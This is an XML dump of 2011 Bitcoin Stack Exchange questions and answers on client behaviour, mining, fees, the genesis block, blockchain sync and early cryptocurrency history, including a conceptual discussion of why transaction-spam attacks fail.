  <row Id="766" PostTypeId="2" ParentId="740" CreationDate="2011-09-08T17:02:12.510" Score="5" Body="&lt;p&gt;Just got &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=CAJNQ0suvvAC%2bTBu5Cbt%2bQ2=aycMnVHRXXGccEdytSZOj10w5JA@mail.gmail.com&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;confirmation&lt;/a&gt; that Satoshi passed the signing key to Gavin before he retired, so at present only Gavin (and Satoshi if he ever returns) is able to send out alerts.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-08T18:57:30.183" LastActivityDate="2011-09-08T18:57:30.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="767" PostTypeId="1" AcceptedAnswerId="768" CreationDate="2011-09-08T18:02:28.080" Score="5" ViewCount="1380" Body="&lt;p&gt;If I accept bitcoin for payment, provide a new address for each payment and make it clear to payers that I consider payment complete only after waiting the ~10 minutes for a confirmation, is there a technical reason why I can't immediately spend the bitcoin without waiting for the confirmation? Is it impossible to spend it because the address has no transactions in the block chain?&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="153" LastEditDate="2012-04-22T03:30:32.653" LastActivityDate="2012-04-22T03:30:32.653" Title="Why does the Bitcoin client require at least one confirmation before I can spend?" Tags="|transactions|blockchain|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="768" PostTypeId="2" ParentId="767" CreationDate="2011-09-08T18:10:48.920" Score="4" Body="&lt;p&gt;There is no technical reason you can't spend it immediately. A transaction that is dependent on an unconfirmed transaction should be accepted by the network and should eventually make it into a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will almost certainly have to include a transaction fee with the second transaction in order to get it accepted into a block immediately. Otherwise, you will be waiting some time before the second transaction gets committed into a block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-08T18:24:55.447" LastActivityDate="2011-09-08T18:24:55.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="769" PostTypeId="2" ParentId="750" CreationDate="2011-09-08T18:21:37.403" Score="2" Body="&lt;p&gt;Regarding the &quot;second part&quot; of your question, if you sent from your own wallet then yes, you would receive the funds &quot;returned&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is at least one service that only works like this (using the input address as a return address): &lt;a href=&quot;http://www.bitlotto.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitlotto.com&lt;/a&gt;  The reason they do this is so that all &quot;tickets&quot; are visible in the block chain, as well as all payouts -- which are only sent to an input address from the winning ticket.  This effectively eliminates the chance that the lottery operator is paying out properly and that the operator has no potential to gain advantage over any other participant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside to doing this is that if someone uses an ewallet, and then becomes the winner -- the lottery winnings get sent to some other user of that ewallet service.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-08T18:21:37.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="770" PostTypeId="1" AcceptedAnswerId="775" CreationDate="2011-09-08T19:23:08.060" Score="10" ViewCount="1748" Body="&lt;p&gt;I am doing some test, and am getting weird behavior with keypool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 0.4.0rc1 bitcoin client:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set keypool=1, how many times should I be able to do getnewaddress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any resources where I can read about keypool, and how it works?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2011-09-08T19:31:19.503" LastActivityDate="2011-11-05T19:43:20.060" Title="What does -keypool=1 do?" Tags="|testing|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="771" PostTypeId="1" AcceptedAnswerId="773" CreationDate="2011-09-08T19:27:30.213" Score="8" ViewCount="1380" Body="&lt;p&gt;I saw BlitCoin mentioned on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34383.0&quot;&gt;this forum thread&lt;/a&gt;, but didn't understand what it was.&#xA;Can someone explain what does it do?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2014-09-13T19:49:11.640" LastActivityDate="2018-10-25T06:43:32.163" Title="What is BlitCoin?" Tags="|security|privacy|tools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="772" PostTypeId="1" CreationDate="2011-09-08T19:49:28.753" Score="5" ViewCount="15403" Body="&lt;p&gt;I am new to Bitcoins, and I'd like to get started mining, but I'm on OS X. I've tried several different mining applications, and none of them have worked for me. I've got nothing but errors. Is there a mining application that has quick and easy setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;a href=&quot;https://en.bitcoin.it/wiki/DiabloMiner&quot; rel=&quot;nofollow&quot;&gt;DiabloMiner,&lt;/a&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/RPC_Miner&quot; rel=&quot;nofollow&quot;&gt;RPC Miner,&lt;/a&gt; and one other that I can't remember the name of. I will put it up here if I find it.&lt;/p&gt;&#xA;" OwnerUserId="250" LastEditorUserId="5406" LastEditDate="2016-01-21T10:11:21.427" LastActivityDate="2016-01-21T10:11:21.427" Title="Quick and easy mining on OS X" Tags="|mac|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="773" PostTypeId="2" ParentId="771" CreationDate="2011-09-08T20:13:18.360" Score="9" Body="&lt;p&gt;Dan Kaminsky has the idea that if you have enough bitcoin nodes/connections under your control, than by looking at how transaction spread across the bitcoin p2p network, you can determine ip address of a node that was the source of transaction, Blitcoin is suppose to be to the tool for that. I think that won't become a problem because use of a simple proxy that hides ip address of a sender, will be sufficient solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post on forum from Dan Kaminsky himself &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34458.0&quot;&gt;BitCoin Deanonymization&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disscusion among developers &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=CAJNQ0stJeFx0X%2bvHZfx-3SHt3=0JAho_kqDU44mZM613YuUaSA@mail.gmail.com&amp;amp;forum_name=bitcoin-development&quot;&gt;Blitcoin? (Black Hat 2011)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-09-08T20:13:18.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="774" PostTypeId="2" ParentId="772" CreationDate="2011-09-08T21:10:32.740" Score="5" Body="&lt;p&gt;Try the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8994.0&quot;&gt;DiabloMiner app&lt;/a&gt;. It uses an older version of Diablo Miner that should work. The developers behind bitcoin mining software usually do not put much effort into Mac compatibility mainly because of two aspects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Most Macs (iMac/Macbook/Macbook Pro) are not suited for mining because they have poor ventilation, which causes overheating issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apple's OpenCL implementation is not very good. There are &lt;a href=&quot;https://bitcointalk.org/index.php?topic=29960.msg380025&quot;&gt;constant complaints&lt;/a&gt; about its inefficiency and incompatibility with mining software.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-08T21:10:32.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="775" PostTypeId="2" ParentId="770" CreationDate="2011-09-08T21:11:29.573" Score="13" Body="&lt;p&gt;You can do &lt;code&gt;getnewaddress&lt;/code&gt; as many times as you want. The &lt;code&gt;keypool&lt;/code&gt; parameter just sets how many &lt;em&gt;extra&lt;/em&gt; keys the client creates when it needs to create keys. With &lt;code&gt;keypool&lt;/code&gt; set to 1, the client will create one extra key every time it needs to create a key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;keypool&lt;/code&gt; low will keep your wallet smaller. But it will mean you have to backup your wallet more often to avoid losing the keys to newly-created addresses.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-08T21:11:29.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="776" PostTypeId="1" AcceptedAnswerId="781" CreationDate="2011-09-08T21:43:36.837" Score="7" ViewCount="111" Body="&lt;p&gt;Is there a help file / man page that explains all the possible commands and arguments for the bitcoin daemon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for an in-depth coverage of the commands seen when I do &lt;code&gt;bitcoind help&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="78" LastEditDate="2011-09-09T06:51:48.537" LastActivityDate="2011-09-09T06:51:48.537" Title="Is there a help file for the bitcoin client?" Tags="|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="778" PostTypeId="2" ParentId="328" CreationDate="2011-09-08T22:44:42.560" Score="3" Body="&lt;p&gt;Use an exchange that allows &quot;user to user&quot; transfers, for instance if both parties use MTGOX then they can instantly transfer bitcoins from one to the other.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2011-09-08T22:44:42.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="780" PostTypeId="1" CreationDate="2011-09-08T23:00:22.077" Score="3" ViewCount="445" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/126/how-can-i-accept-bitcoins-on-my-website&quot;&gt;How can I accept bitcoins on my website?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have a few websites I am working on, but is there an open source code I can use that will allow people to deposit bitcoins on my site to where each user would have a unique deposit address?&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-09-11T20:06:27.097" Title="Is there an open source (free) client or code for bitcoin transactions" Tags="|transactions|client|" AnswerCount="4" CommentCount="1" ClosedDate="2011-09-13T01:16:10.167" ContentLicense="CC BY-SA 3.0" />
  <row Id="781" PostTypeId="2" ParentId="776" CreationDate="2011-09-08T23:19:25.717" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot;&gt;Bitcoin Config Arguments&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;Bitcoin CLI Commands&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-09-08T23:19:25.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="782" PostTypeId="2" ParentId="103" CreationDate="2011-09-08T23:47:44.720" Score="20" Body="&lt;p&gt;I co-founded LargeCoin, Inc., and we really are developing an ASIC for Bitcoin mining. As earlier replies pointed out, the unit cost of ASICs is far lower than FPGAs once you get beyond a few hundred units. The up-front cost of ASIC production varies widely depending on the process you use. On the cheap side, there is so-called &quot;wafer sharing,&quot; where your design gets populated on to a wafer with many other designs. Wafer sharing typically uses very old processes that aren't going to deliver the power and density benefits of newer processes. BTW, a &quot;process&quot; refers to a the physical process for making the transistors within the ASIC. Generally a process is referred to by its transistor geometry size - for instance 45nm is a relatively current process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next up is &quot;Structured ASICs&quot;. A structured ASIC vendor provides an assortment of standard logic components on the bottom layers of the chip. You then add a few metal layers on top of these connecting up the basic components to implement your custom logic. Structured ASICs cost between $100,000 and $500,000 (very approximately) for the first prototypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there are &quot;standard cell&quot; ASICs, where the chip is designed using standard components that are sort of analogous to software libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, there is &quot;full custom&quot;. With a fully custom chip, you are designing everything about the ASIC yourself. The NRE costs for a full custom design is in the millions of dollars typically - particularly if you want to use a modern process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What process are we using? We're keeping that close to our chest at the moment. However, I can confirm that our detailed modelling at this point indicates we'll be able to mine 250 GHash/s in a single rack of mining units using 5kW of power. When you consider that this represents the computational power of about 400 AMD Radeon 6990 GPUs (which would consume close to 200 kW), you can immediately see the benefit of ASICs for Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the middle of 2012, ASIC mining will be a substantial factor in the Bitcoin economy.&lt;/p&gt;&#xA;" OwnerUserId="275" LastEditorUserId="275" LastEditDate="2011-09-09T18:04:01.733" LastActivityDate="2011-09-09T18:04:01.733" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="783" PostTypeId="2" ParentId="780" CreationDate="2011-09-09T00:26:54.343" Score="0" Body="&lt;p&gt;In the past, I've implemented this just by asking the standard Bitcoin client to generate a few thousand addresses and then just have the web site give them out one by one. It's a bit slow generating the addresses, but if you let it run overnight, you'll have a virtually unlimited supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to backup the wallet immediately after doing this!&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T00:26:54.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="784" PostTypeId="1" CreationDate="2011-09-09T00:49:31.590" Score="7" ViewCount="319" Body="&lt;p&gt;I would like to know how many BTC have not moved from the block they were mined in - never transferred or spent. (With this information I believe could have an idea of how many BTC have been lost). Is there a tool to see this kind of information?&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="81" LastEditDate="2011-09-09T20:51:55.257" LastActivityDate="2011-09-09T21:04:33.607" Title="How do we know how many BTC have not been spent since being mined? Any tool to see this information?" Tags="|tools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="785" PostTypeId="1" AcceptedAnswerId="801" CreationDate="2011-09-09T00:53:11.413" Score="24" ViewCount="1356" Body="&lt;p&gt;Although Bitcoin is certainly making strides as the first &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptocurrency&quot;&gt;cryptocurrency&lt;/a&gt; to enter (comparatively) widespread use, cryptocurrency has long been a topic of discussion in &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptonomicon&quot;&gt;fiction&lt;/a&gt; and &lt;a href=&quot;http://unenumerated.blogspot.com/2005/12/bit-gold.html&quot;&gt;academia&lt;/a&gt;.  What cryptocurrency systems were in existence prior to Bitcoin, and in what specific respects do they differ from it?&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="5406" LastEditDate="2014-09-03T11:35:04.363" LastActivityDate="2014-09-03T11:35:04.363" Title="What cryptocurrency systems predate Bitcoin, and how do they differ from it?" Tags="|currencies|history|academic-research|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="786" PostTypeId="1" CreationDate="2011-09-09T02:04:39.363" Score="18" ViewCount="3561" Body="&lt;p&gt;Bitcoin's genesis block contains this text published in The Times on January 3rd, 2009:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The Times 03/Jan/2009 Chancellor on brink of second bailout for banks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wiki&lt;/a&gt;, this guarantees that the block was only created after this date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the problem of using any other random quote?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2022-09-30T16:46:18.140" LastActivityDate="2022-09-30T16:46:18.140" Title="Is the timestamp in the genesis block relevant?" Tags="|genesis-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="787" PostTypeId="2" ParentId="784" CreationDate="2011-09-09T02:39:03.613" Score="3" Body="&lt;p&gt;I don't think your question quite makes sense. Bitcoins aren't &quot;transmitted&quot;, they simply sit in the block chain until someone chooses to spend them. There's no way to tell if a particular Bitcoin is lost or not because that depends on whether anyone knows they key needed to claim it. That key could be written on a piece of paper for all we know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your client tells you that you have 50 Bitcoins, it is doing that in a purely passive way. Nobody can tell that your wallet contains the keys needed to claim those Bitcoins, and this is by intentional design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could fairly easily measure how many coins hadn't been spent since they were mined. But that wouldn't really tell you anything. Some of those coins may have lost keys and some may not. And some coins may have been spent once and then lost.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T02:39:03.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="788" PostTypeId="2" ParentId="541" CreationDate="2011-09-09T03:31:57.567" Score="1" Body="&lt;p&gt;If I recall correctly, a bitcoin transaction can be coded to require a password to access them. Therefore, you could make the QR codes a way to hold a bitcoin outside of a wallet.&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2011-09-09T03:31:57.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="789" PostTypeId="1" CreationDate="2011-09-09T04:21:58.990" Score="10" ViewCount="466" Body="&lt;p&gt;Let's say that I want to kill Bitcoin by means of a transaction attack. What in the bitcoin system prevents the following approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I buy a limited number of bitcoin in the market.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a small number (say 50) physical computers all running bitcoin clients and accessing the net through proxies, I generate, say, 100.000 wallets - each with their own bitcoin addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(Running a script on the computers) I start sending random amounts (mili-to nanobitcoin range) of bitcoin back and forth between all my 100.000 (or more) wallets - each at a very high frequency. Average flow of bitcoin between wallets average to zero.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This causes an explosion in the number of daily transactions (currently in 1,000-10,000/day) range to millions or billions of transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes every block gigantic in size causing an explosion in the blockchain and causing widespread problems with blockchain verification, storage and (worse) synchronization =&gt; the network dies.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Can someone explain why bitcoin is immune to this kind of &quot;transfer attack&quot;? &lt;/p&gt;&#xA;" OwnerUserId="279" LastEditorUserId="117" LastEditDate="2011-09-09T14:03:21.820" LastActivityDate="2011-09-09T14:03:21.820" Title="What prevents bitcoin from breaking down in case of a &quot;transaction attack&quot;" Tags="|security|blockchain|weaknesses|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="790" PostTypeId="2" ParentId="66" CreationDate="2011-09-09T04:27:10.313" Score="6" Body="&lt;p&gt;This is essentially the very same argument recently put forth by paul krugman. And it is wrong. Deflation is only a problem with debt-based money. Therefore not a problem with bitcoin. For details see the following article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://seekingalpha.com/instablog/530678-minorman/214527-paul-krugman-s-take-on-bitcoin&quot;&gt;http://seekingalpha.com/instablog/530678-minorman/214527-paul-krugman-s-take-on-bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="279" LastActivityDate="2011-09-09T04:27:10.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="791" PostTypeId="2" ParentId="786" CreationDate="2011-09-09T05:07:17.723" Score="22" Body="&lt;p&gt;The newspaper quote proves that Satoshi did not mine a large number of blocks before the &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg10142.html&quot;&gt;public announcement&lt;/a&gt; of Bitcoin on January 10. The block chain creator could for example create a chain of 1000 blocks before publishing just the first one. He now has a head start for mining and can invalidate the public block chain at any time by announcing the blocks he kept secret as long as his chain is longer. The block headers contain timestamps but these can be manipulated if no one else is verifying the blocks.&lt;/p&gt;&#xA;" OwnerUserId="280" LastActivityDate="2011-09-09T05:07:17.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="792" PostTypeId="1" AcceptedAnswerId="794" CreationDate="2011-09-09T05:36:31.017" Score="25" ViewCount="3665" Body="&lt;ol&gt;&#xA;&lt;li&gt;My balance is currently made up of lots of small amounts&lt;/li&gt;&#xA;&lt;li&gt;I know I'm not going to be using my bitcoin wallet for a while, so I don't care if the consolidation transaction is slow.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Would creating this transaction with no(or relatively low) fee achieve the aim of making subsequent transactions smaller and therefore less likely to attract higher fees in order to go through quickly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming this sort of 'consolidation' even works.. &#xA;What would happen if a wallet program had a feature that allowed people to automatically 'consolidate' overnight depending on the makeup of the wallet's balance? Might it have a negative effect on the network? &lt;/p&gt;&#xA;" OwnerUserId="253" LastEditorUserId="516" LastEditDate="2012-12-04T02:50:10.307" LastActivityDate="2012-12-04T02:50:10.307" Title="In order to reduce fees, can I 'consolidate' my wallet by sending the entire balance to a new address in the same wallet?" Tags="|transactions|wallet|transaction-fees|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="793" PostTypeId="1" CreationDate="2011-09-09T07:05:12.423" Score="12" ViewCount="4205" Body="&lt;p&gt;Following the instructions in build-osx.txt (which seem sadly out of date) leaves me without a file named libboost_system.a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I built boost:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;% cd boost_1_42_0&#xA;% ./bootstrap.sh&#xA;% ./bjam architecture=combined address-model=32_64 macosx-version=10.6 \&#xA;    macosx-version-min=10.6 link=static runtime-link=static -a \&#xA;    --toolset=darwin --prefix=/Users/`whoami`/bitcoin/deps install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had to edit the makefile.osx to add some include paths, but I could not find libboost_system.a. What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I needed to compile OpenSSL because OS X only comes with dynamically linked libraries.&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2011-10-01T00:41:42.597" Title="What are the steps in building bitcoind on Mac OS X 10.6?" Tags="|development|bitcoind|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="794" PostTypeId="2" ParentId="792" CreationDate="2011-09-09T07:05:49.747" Score="20" Body="&lt;p&gt;It depends which of two cases you are in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have lots of decently-sized transactions to 'gather', it will likely have the reverse of the effect you want. Right now, you probably have lots of old transaction outputs that your future transactions can claim. That means you can form many transactions that use only old outputs, and thus get a higher base priority. If you consolidate your coins, you will have only one transaction output to claim. So in the future, you will only be able to create one high-priority transaction. Once you do that, you will have no more old coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you have lots of absurdly-small transactions to 'gather', it will likely help you. By not having to gather lots of small transaction outputs together in the future, your future transactions won't be as large and therefore won't require as high a fee (or as large a wait).&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T07:05:49.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="795" PostTypeId="2" ParentId="785" CreationDate="2011-09-09T07:07:16.290" Score="1" Body="&lt;p&gt;I think the major new idea is using &quot;proof-of-work&quot; to get rid of the need for a trusted central &quot;timestamping&quot; authority that would otherwise be necessary to prevent double-spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.links.org/?p=1175&quot; rel=&quot;nofollow&quot;&gt;The question is&lt;/a&gt; if that actually works and/or is worth the enormous energy cost. A similar idea was floated once to prevent email spam, but unfortunately email spammers are exactly the people who have lots of cheap (for them) computing resources in the form of bot-nets they can put to &quot;work&quot;.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-09T07:07:16.290" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="796" PostTypeId="2" ParentId="789" CreationDate="2011-09-09T07:07:34.750" Score="4" Body="&lt;p&gt;Your transactions will simply be ignored. They won't even be relayed across the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fuel such an attack, you need old transaction outputs or you need to pay transaction fees. You can use each old transaction output at least once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With small numbers of coins and no old coins in them, your transactions will be totally ignored unless you pay transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would take only a few hours before all major mining pools switched over to ignoring all transactions with no fees that didn't use coins at least a day old.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T07:07:34.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="797" PostTypeId="2" ParentId="789" CreationDate="2011-09-09T07:08:12.343" Score="11" Body="&lt;p&gt;There are rules which make such kind of attack very costly to the attacker. Below are relevant rules from wiki, with updated transaction fee:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.0005 BTC fee per kilobyte of transaction, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the blocksize (size of all transactions currently waiting to be&#xA;included in a block) is less than 27 kB, transactions are free.&lt;/li&gt;&#xA;&lt;li&gt;If the blocksize is more than 250 kB, transactions get &lt;strong&gt;increasingly&#xA;more expensive&lt;/strong&gt; as the blocksize approaches the limit of 500 kB.&#xA;Sending a transaction when the blocksize is 400 kB will cost 5 times&#xA;the normal amount; sending when it's 499 kB will cost &lt;strong&gt;500x&lt;/strong&gt;, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's say attacker publishes 499kB worth of transactions every block, this would be about 1000 transactions per block, 144000 per day. This is nowhere close to millions or billions, and besides it would cost him about 18000 BTC per day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot;&gt;Transaction fees&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-09-09T07:08:12.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="798" PostTypeId="2" ParentId="785" CreationDate="2011-09-09T07:35:10.197" Score="10" Body="&lt;p&gt;Ecash, created by David Chaum, and introduced in 1993, was a cryptographic bearer certificate, though the underlying instrument was national currency (e.g. dollars). It required a central party to keep track of spends to avoid double spends, unlike Bitcoin's distributed peer to peer ledger. It existed until the bankruptcy of its issuer, Digicash, in 1998.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the themes that surround discussion about Bitcoin were forwarded by Chaum at the time, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;The choice between keeping information in the hands of individuals or of organizations is being made each time any government or business decides to automate another set of transactions. In one direction lies unprecedented scrutiny and control of people's lives, in the other, secure parity between individuals and organizations. The shape of society in the next century may depend on which approach predominates.&quot;&lt;/em&gt; &lt;a href=&quot;http://waste.informatik.hu-berlin.de/grassmuck/Texts/ecash.e.html&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the first cryptocurrency, in that it is itself a currency, not a cryptographic derivative of a non-cryptographic currency.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2011-09-10T03:56:45.717" LastActivityDate="2011-09-10T03:56:45.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="799" PostTypeId="1" AcceptedAnswerId="802" CreationDate="2011-09-09T07:47:51.887" Score="80" ViewCount="91560" Body="&lt;p&gt;Every time I turn on the Bitcoin client it takes days to catch up with the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there alternatives to getting it trickling through the peer-to-peer network? Can I just download it somewhere? Wouldn't this be ideal for distribution via BitTorrent? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, how do I import it into the Bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client would still be validating this data (can it?), and it is all signed and proof-of-worked, so there is no real security problem here, is there?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="5406" LastEditDate="2014-10-23T21:22:29.717" LastActivityDate="2021-02-22T17:22:37.237" Title="Can I download the whole block chain from somewhere?" Tags="|blockchain|synchronization|performance|bootstrap.dat|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="800" PostTypeId="2" ParentId="799" CreationDate="2011-09-09T07:51:10.967" Score="14" Body="&lt;p&gt;This was an issue with versions of the client prior to 0.3.24 -- once the vast majority of the network switches over, the block chain downloads should proceed as fast as your CPU and network connection can handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are places you can download the block chain, but the client doesn't provide a way to accept the block chain in any form other than from the network. If you're starting from nothing, it will generally take about 10 hours to process the whole block chain. Most of it isn't transfer time, it's CPU time validating all the hashes and signatures.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-09T07:51:10.967" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
